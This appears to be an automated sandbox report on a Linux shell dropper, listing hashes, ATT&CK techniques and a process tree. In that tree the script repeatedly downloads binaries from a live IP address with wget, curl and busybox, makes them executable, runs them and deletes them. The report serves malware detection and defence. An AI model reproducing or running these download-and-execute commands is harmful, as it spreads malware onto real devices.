a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5

Analysis

max time kernel
22s
max time network
51s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/11/2024, 02:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
Size 10KB
Sample241118-c5aweawkb1
SHA256 a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5
MD5 a7136f5f7aad005f449adf4d9eb6e330
SHA1 b6cddbe652904c25cc2e6c5f3063fb13a4df6737
SHA512 246aa712ed98a0566dc01bd9c38641f09934c708bff0e9535d33a324e832016dc28f55477382fd2c5611a9b79d4b4430ff37fb83814b6fcbb5db8b06708b657e
SSDEEP 192:8OyzO6my8zK4ZbHrTssv9my8zK4uHrTssiAl:CzOZzL
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
715	chmod
741	chmod
749	chmod
796	chmod
809	chmod
817	chmod
677	chmod
694	chmod
772	chmod
790	chmod
802	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	678	duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	695	u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	716	MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	742	9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	751	znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	773	kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	791	42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	797	1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	803	I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	810	qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	818	Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	curl
File opened for modification	/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	curl
File opened for modification	/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	curl
File opened for modification	/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	curl
File opened for modification	/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	curl
File opened for modification	/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	curl
File opened for modification	/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	curl
File opened for modification	/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	curl
File opened for modification	/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	curl
File opened for modification	/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	curl
File opened for modification	/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	curl

/tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
/tmp/a83da0cf5f9f9e8f40c7551bd4aeb9e2014d1ad92004082a16d106cd38a640b5.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:653
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:676
- /bin/chmod
  chmod 777 duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  ./duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  - Executes dropped EXE
  PID:678
- /bin/rm
  rm duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
  2⤵
  PID:679
- /usr/bin/wget
  wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:680
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:688
- /bin/chmod
  chmod 777 u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  ./u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Executes dropped EXE
  PID:695
- /bin/rm
  rm u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:697
- /usr/bin/wget
  wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:710
- /bin/chmod
  chmod 777 MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  ./MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Executes dropped EXE
  PID:716
- /bin/rm
  rm MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:717
- /usr/bin/wget
  wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:736
- /bin/chmod
  chmod 777 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  ./9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:747
- /bin/chmod
  chmod 777 znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  ./znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:766
- /bin/chmod
  chmod 777 kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  ./kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
  2⤵
  PID:774
- /usr/bin/wget
  wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:789
- /bin/chmod
  chmod 777 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  ./42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm 42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:795
- /bin/chmod
  chmod 777 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  ./1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm 1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
  2⤵
  PID:798
- /usr/bin/wget
  wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:801
- /bin/chmod
  chmod 777 I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  ./I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:807
- /bin/chmod
  chmod 777 qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  ./qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:816
- /bin/chmod
  chmod 777 Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  ./Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
  2⤵
  PID:819
- /usr/bin/wget
  wget http://216.126.231.240/bins/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
  2⤵
  PID:820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ

Path /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads